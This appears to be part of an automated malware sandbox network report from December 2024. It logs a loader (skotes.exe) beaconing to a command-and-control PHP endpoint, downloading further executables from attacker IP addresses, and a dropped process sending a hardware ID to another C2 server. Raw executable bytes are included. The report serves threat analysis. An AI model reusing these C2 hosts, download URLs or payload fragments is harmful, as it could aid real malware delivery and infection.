Dec 12, 2024 21:50:19.021846056 CET	672	IN	Data Raw: 7f 00 00 8d 8e 9c 00 00 00 e8 10 7f 00 00 8d 8e 8c 00 00 00 e8 05 7f 00 00 8d 4e 08 5e e9 00 00 00 00 56 57 8b f9 33 f6 8b 44 f7 04 85 c0 0f 85 4e 0d 04 00 46 83 fe 10 7c ee 5f 5e c3 53 56 8b f1 33 db 57 38 5e 09 0f 85 54 0d 04 00 38 5e 08 75 1c Data Ascii: N^VW3DNF\|_^SV3W8^T8^uNy8tQ~^_^[VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj
Dec 12, 2024 21:50:19.021881104 CET	1236	IN	Data Raw: 27 ff d6 53 6a 11 88 47 28 ff d6 53 6a 12 88 47 24 ff d6 88 47 25 5f 5e 5b c3 55 8b ec 51 57 33 ff 8d 45 fc 57 50 57 68 00 20 00 00 89 7d fc ff 15 f0 c5 49 00 8b 45 fc 6a 02 57 57 68 01 20 00 00 a3 94 25 4d 00 ff 15 f0 c5 49 00 5f c9 c3 55 8b ec Data Ascii: 'SjG(SjG$G%_^[UQW3EWPWh }IEjWWh %MI_U=Mt_E%\M%PMXMtIhFM2j3YYuj5%Mjh I\M]3@Usy!xwJxnEP
Dec 12, 2024 21:50:19.021934032 CET	1236	IN	Data Raw: 33 c9 83 fe 2b 0f 94 c1 8b 44 88 08 66 83 78 08 47 75 42 8d 41 03 89 45 f8 8d 45 fc 53 50 8d 45 e8 50 8d 45 f8 50 57 e8 1b 44 00 00 85 c0 0f 88 a2 06 04 00 8d 4d e8 e8 6e 77 00 00 8b 55 fc e9 25 ff ff ff b9 6c 15 4d 00 e8 63 08 00 00 33 c0 5f 5e Data Ascii: 3+DfxGuBAEESPEPEPWDMnwU%lMc3_^[jiXlU<SVMMW}3E7Nuu3RB3t&u"@f9putBuu6UMEPdEM@M_^[I
Dec 12, 2024 21:50:19.021969080 CET	1236	IN	Data Raw: 00 8d 8d 78 ff ff ff e8 0f 02 00 00 8d 8d 6c ff ff ff e8 04 02 00 00 8d 8d 60 ff ff ff e8 f9 01 00 00 8d 4d a8 e8 f1 01 00 00 8d 8d 54 ff ff ff e8 e6 01 00 00 8d 4d 9c e8 de 01 00 00 5f 8b c6 5e 5b c9 c3 83 e8 04 0f 84 ca 03 04 00 83 e8 01 0f 84 Data Ascii: xl`MTM_^[rU]AjYf9H}AjYf9HEE}xPG\|EIEE}`PGdE%}U]
Dec 12, 2024 21:50:19.022005081 CET	1236	IN	Data Raw: 00 04 00 33 ff be 90 23 4d 00 47 3b c7 0f 84 b1 00 04 00 8d 44 24 11 50 51 68 00 14 4d 00 68 18 14 4d 00 8b ce e8 2c 03 00 00 84 c0 0f 84 b1 00 04 00 a0 90 23 4d 00 a2 04 14 4d 00 a0 91 23 4d 00 88 44 24 12 8d 44 24 14 50 8d 84 24 3c 00 01 00 50 Data Ascii: 3#MG;D$PQhMhM,#MM#MD$D$P$<Ph5MhIt$MY@\$5MhMa\|$sY4=MMuW0M=MuD$8PIL$(m_^[]
Dec 12, 2024 21:50:19.022593021 CET	1236	IN	Data Raw: 03 00 57 68 30 ca 49 00 e8 ba 1a 02 00 59 59 85 c0 0f 84 92 fd 03 00 57 68 08 ca 49 00 e8 a5 1a 02 00 59 59 85 c0 0f 84 99 fd 03 00 57 68 dc c9 49 00 e8 90 1a 02 00 59 59 85 c0 75 3e 89 1d 00 14 4d 00 38 5d 0b 75 0a c7 05 00 14 4d 00 03 00 00 00 Data Ascii: Wh0IYYWhIYYWhIYYu>M8]uMEPMEMPxEPM9MM3NQjWJ:u3]@ESPEPW@Mt~5EPML?CESjPWf@MK
Dec 12, 2024 21:50:19.022628069 CET	552	IN	Data Raw: 04 83 c4 0c 8b 06 33 d2 8b 4e 04 5f 66 89 14 48 8b c6 5e 5b 5d c2 08 00 55 8b ec 83 e4 f8 b8 3c 00 01 00 e8 f3 ea 03 00 8b 45 08 8d 4c 24 1c 53 33 db a3 94 23 4d 00 56 b8 34 cc 49 00 66 89 1d 90 23 4d 00 57 88 1d 92 23 4d 00 89 1d 98 23 4d 00 89 Data Ascii: 3N_fH^[]U<EL$S3#MV4If#MW#M#M#M#M#M#M#M#M#M#MDI#M#M#M#M#M#M#M#M#M<I#M#M#M#MfNtL$(>T$(0h
Dec 12, 2024 21:50:19.141916037 CET	1236	IN	Data Raw: 4d 00 ff b9 ac 19 4d 00 83 0d a4 19 4d 00 ff 53 56 57 33 db c7 05 94 19 4d 00 01 01 01 01 68 58 cb 49 00 89 1d 90 19 4d 00 66 89 1d 98 19 4d 00 c6 05 9a 19 4d 00 01 c7 05 9c 19 4d 00 09 00 00 00 89 1d a8 19 4d 00 e8 0a 66 00 00 68 3c cb 49 00 b9 Data Ascii: MMMSVW3MhXIMfMMMMfh<IMeMrMrMrM4MMMMMMMMj_MMMMMMMMM M$M0Mr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49913	185.215.113.43	80	7836	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 21:50:23.754055023 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 34 35 31 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1014519001&unit=246122658369
Dec 12, 2024 21:50:25.106772900 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 12 Dec 2024 20:50:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49919	185.215.113.16	80	7836	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 21:50:25.277523994 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 12, 2024 21:50:26.612027884 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 12 Dec 2024 20:50:26 GMT Content-Type: application/octet-stream Content-Length: 1804800 Last-Modified: Thu, 12 Dec 2024 20:01:51 GMT Connection: keep-alive ETag: "675b412f-1b8a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 30 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 69 00 00 04 00 00 ea ea 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(0i@`i@M$a$$ $h@.rsrc$x@.idata $z@ p*$\|@bpqkjsvj0O~@nfefccxc id@.taggant00i"h@
Dec 12, 2024 21:50:26.612121105 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 12, 2024 21:50:26.612133026 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 12, 2024 21:50:26.612463951 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 12, 2024 21:50:26.612476110 CET	1236	IN	Data Raw: ad 63 5c 1c 67 2b 40 77 a7 1c 01 10 bd e4 9b d9 ea 08 d8 6f 66 ec 96 9f fe e4 5f bd 0a 68 87 68 f6 aa 8f 91 e6 72 77 d9 b1 0e ab 5d c8 c2 9d 8b ce c4 a7 8f d2 34 98 cb ba e4 c3 26 45 d5 cf 36 ab e0 bb 27 13 66 87 8f ad fc 93 a7 02 04 d8 8e e8 c5 Data Ascii: c\g+@wof_hhrw]4&E6'fMn?\@X,"#(U,(+-y GtfemPwosn*<c8Wkf\je2i&_=s/4\|`brjU[?5G?w(cLU
Dec 12, 2024 21:50:26.612487078 CET	1236	IN	Data Raw: f8 cc 9d 53 0c b4 83 76 ab e5 5a ab 7e f1 24 1f d8 0c 1c 47 fd c4 f2 9e 25 c7 c2 03 fc d4 4e 3f 9a 4a d9 4c e3 47 ff df c9 13 c0 11 2f 0f d8 db 01 53 d8 e8 43 ef 42 e0 e5 8b d5 99 dd e2 ad 20 23 1d 9d ef 62 37 d9 bc da 35 9e 08 bb 44 d8 1a 7c e7 Data Ascii: SvZ~$G%N?JLG/SCB #b75D\|_)m^kp"<V\r0cGHvLqT;}}}JiS*v@Nbaaa4]8Ud9NnOL+z{![
Dec 12, 2024 21:50:26.612498999 CET	1236	IN	Data Raw: ac 1b 90 1b f9 6c c0 e7 62 da d5 86 fb 0d 21 9a f8 88 f0 0f ac 3d 08 93 bc 2a 48 87 26 e4 bb f7 b2 ca e4 fd 23 1c 30 8e 2e 68 c1 8f 5e 29 14 cf e0 be 55 8f e2 0c 6c 6c db d8 52 93 4c a8 e7 77 a4 04 ee 8b 8e 3d b8 12 f9 a2 a7 6f f8 dc af 1b ff 65 Data Ascii: lb!=H&#0.h^)UllRLw=oeG4\=lWX_e?gi?vD$/g L~`A xhKynyb<Z<\VggYbtWw_g*0a
Dec 12, 2024 21:50:26.613055944 CET	1000	IN	Data Raw: e2 f3 ed 72 8c 00 f8 23 64 87 d7 93 8d 67 f3 e1 ba d6 ef bb 62 5d 9a 9a e3 3c d8 8d 6a 29 80 9f c0 33 41 1d fb dd 9f 8e 86 68 a1 8b 03 4a 91 8b 92 d6 c0 63 e3 d4 5a 08 9f 58 78 7f 4a d6 a1 33 fc 7c 54 7f 18 13 d8 8f ff 51 b7 b9 ba 18 91 77 86 2a Data Ascii: r#dgb]<j)3AhJcZXxJ3\|TQwo \Y(+#@#d[J#dUg?ZcZ>wvC9fxk!#\nb(Hw*e3"7,VzHh^
Dec 12, 2024 21:50:26.613066912 CET	1236	IN	Data Raw: f3 e1 4e 51 03 6c e8 d9 5e dd bf 20 db 62 98 3f 73 2a ee ff fa f0 55 20 45 e0 5d da 92 0d 18 a0 9a 65 70 4c d5 45 7c c2 87 eb 27 a0 f5 c0 5c 40 91 e0 54 8c 2b f5 f2 8b 7e 22 30 a7 e3 84 d3 8e 39 04 a2 8d 1a dd 13 a0 7c 62 f0 1c a0 28 25 a0 f3 64 Data Ascii: NQl^ b?sU E]epLE\|'\@T+~"09\|b(%d_4W'o^BedT[.ee7p=#@J7H{pZ`$Ho\BS#.cHphp'[i *{@F &
Dec 12, 2024 21:50:26.613076925 CET	1236	IN	Data Raw: 2f f0 a1 ab a6 25 90 db 65 a7 5b bc b2 7c 98 79 a4 fe eb 83 0b 7d bf 12 0d 48 9a c7 da d6 8b f7 c0 53 e2 06 e1 29 84 9f f3 64 9c 5f e5 29 62 85 a6 58 c1 f7 fa 5c 58 1f bf 24 ee 03 67 2a 48 77 fa dc ad 20 f8 e4 bc 8d fa 90 57 f0 a6 2c bc 59 76 b8 Data Ascii: /%e[\|y}HS)d_)bX\X$gHw W,Yv[Nt]Zy#&UhdYGW"b9Sw'@z#@_(8hcxX~67XrD$@g >P[dH[RgZ
Dec 12, 2024 21:50:26.732064962 CET	1236	IN	Data Raw: eb be 22 10 fb 24 28 9f 87 83 d1 c4 2a b9 65 0e 7b 5b 4c 5b e8 73 a2 6d e9 bb 74 83 fa 94 7e d1 90 e6 5d 28 6c 8d 26 d7 e9 61 73 a9 79 d8 6c bc e8 d6 9c ff 1c 6a e2 18 e9 1d b2 7f cb bc ad 40 ae b8 4f e4 6c 4d f0 bf ed 49 9e 63 6c 57 4b 22 fb 19 Data Ascii: "$(*e{[L[smt~](l&asylj@OlMIclWK"`-WE<,s;[w5(sj"U;Vy]#wcT2)G}pAcsvmYzU`OH/F.t'&Vm;^V_g(iE}LA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49937	185.215.113.43	80	7836	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 21:50:32.193989992 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 34 35 32 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1014520001&unit=246122658369
Dec 12, 2024 21:50:33.497741938 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 12 Dec 2024 20:50:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49941	185.215.113.206	80	2748	C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 21:50:33.455607891 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 12, 2024 21:50:34.792011976 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 20:50:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 12, 2024 21:50:34.797408104 CET	410	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJDGHCBGDHIECBGIDAE Host: 185.215.113.206 Content-Length: 208 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 34 39 41 31 34 46 30 34 30 46 46 39 36 34 35 32 30 37 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 41 45 2d 2d 0d 0a Data Ascii: ------HJJDGHCBGDHIECBGIDAEContent-Disposition: form-data; name="hwid"E49A14F040FF9645207------HJJDGHCBGDHIECBGIDAEContent-Disposition: form-data; name="build"stok------HJJDGHCBGDHIECBGIDAE--
Dec 12, 2024 21:50:35.247111082 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 20:50:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49942	185.215.113.16	80	7836	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 21:50:33.622483015 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 12, 2024 21:50:34.982032061 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 12 Dec 2024 20:50:34 GMT Content-Type: application/octet-stream Content-Length: 2757120 Last-Modified: Thu, 12 Dec 2024 20:00:59 GMT Connection: keep-alive ETag: "675b40fb-2a1200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2a 00 00 04 00 00 89 16 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ *`Ui` @ @.rsrc`2@.idata 8@ednolfgk)):@suscsoaj `)@.taggant@*")@
Dec 12, 2024 21:50:34.982073069 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 12, 2024 21:50:34.982084036 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 12, 2024 21:50:34.982429028 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 12, 2024 21:50:34.982439041 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 12, 2024 21:50:34.982449055 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 12, 2024 21:50:34.982460022 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 12, 2024 21:50:34.982918978 CET	1236	IN	Data Raw: cb 77 72 d2 a3 10 79 ab 2e 03 73 13 1f f5 d3 c0 ca cc b9 b0 89 2e a5 71 5a 45 ab 94 f4 ce 1c 9e 86 fb fe 2c ee e8 d9 f0 d6 80 b3 db fd 32 47 92 39 4a 97 c1 75 79 46 95 2b 28 74 97 3b 42 2a 9f 3d 71 67 d1 a3 7c 63 f9 87 55 92 9b 19 53 74 22 66 98 Data Ascii: wry.s.qZE,2G9JuyF+(t;B*=qg\|cUSt"faIj-ci{D&tl/wgB$\fUn\|'6pWK`wn$kcd~/T\7ay.;hM3@K#l7zM1qVoS):h@ZQYWY;.puZq-Vo]
Dec 12, 2024 21:50:34.982979059 CET	1236	IN	Data Raw: b7 74 89 fb df 74 8d af ca 63 12 db 24 5b 8b 44 6c 23 67 d7 9b 2e 85 b4 59 fc ae eb 3f 3b 5d d2 69 23 9d b1 cb 1b a3 d0 d2 6e e3 52 42 74 c9 d0 69 17 8b 03 9c 3f b9 bc 8d d0 c8 16 68 5b c5 bb 99 58 fd 36 25 f7 5b 69 42 fb 96 d2 a9 48 dd 22 b2 b3 Data Ascii: ttc$[Dl#g.Y?;]i#nRBti?h[X6%[iBH"^St{<\|S/Kg4xcw{l#!'&~\}#NVQO=CSJw,#r7~wy&{Ct'zo"7;u>##3.@kIGc)o0.qO^
Dec 12, 2024 21:50:34.982990026 CET	1236	IN	Data Raw: 83 51 62 ec 95 33 89 a0 7e 1c 1b d1 36 9f 59 3e 2f 6e 8f 03 70 44 ad 8c 26 0d 9a f4 90 93 c3 6c 88 5c 9b 02 2e f0 b0 8e bc 12 44 9d 49 49 9e 7c 7c 7b bd e0 1f 1e e0 ee 39 6b eb ee 8c 0e bb 37 b2 44 d5 c3 3b 12 cf e9 32 81 fe d1 a7 a4 87 1f ef 9d Data Ascii: Qb3~6Y>/npD&l\.DII\|\|{9k7D;21W]wVEK"[jtm{:vFDDDY=!v)A"\WAAA^Cit,X-xd"~iY.j[lt00;'eH
Dec 12, 2024 21:50:35.110611916 CET	1236	IN	Data Raw: 2a 3c 52 88 54 4f 6c b7 4d d3 73 8e 08 6f af b2 1d 44 5b 12 1e 4f c9 a2 1c 21 55 0c 23 7c 58 bf 1d 7f d3 e4 6c 48 ff 5f 9d 90 45 19 81 be 8b 44 69 b5 c2 cd 82 19 93 93 69 69 5f de 87 08 d7 e4 17 1a d9 cf 8d 0e d0 83 ec 54 78 62 dc e2 b9 0f 8a 93 Data Ascii: *<RTOlMsoD[O!U#\|XlH_EDiii_Txb{vs%\.]K~QEU\|G[Zzx4J),5t~Zj"~,\|#]e!qpC[k/0p;X8?}/$[v#@_e/;t}-bH 0~oy$W=Z&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49953	34.107.221.82	80	800	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 21:50:37.385225058 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 12, 2024 21:50:38.476208925 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 12 Dec 2024 11:17:42 GMT Age: 34376 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 12, 2024 21:50:43.886492014 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 12, 2024 21:50:44.203063965 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 12 Dec 2024 11:17:42 GMT Age: 34382 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49966	185.215.113.43	80	7836	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 21:50:42.525499105 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 34 35 32 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1014521001&unit=246122658369
Dec 12, 2024 21:50:43.901211977 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 12 Dec 2024 20:50:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49971	31.41.244.11	80	7836	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 21:50:44.099934101 CET	62	OUT	GET /files/burpin1/random.exe HTTP/1.1 Host: 31.41.244.11
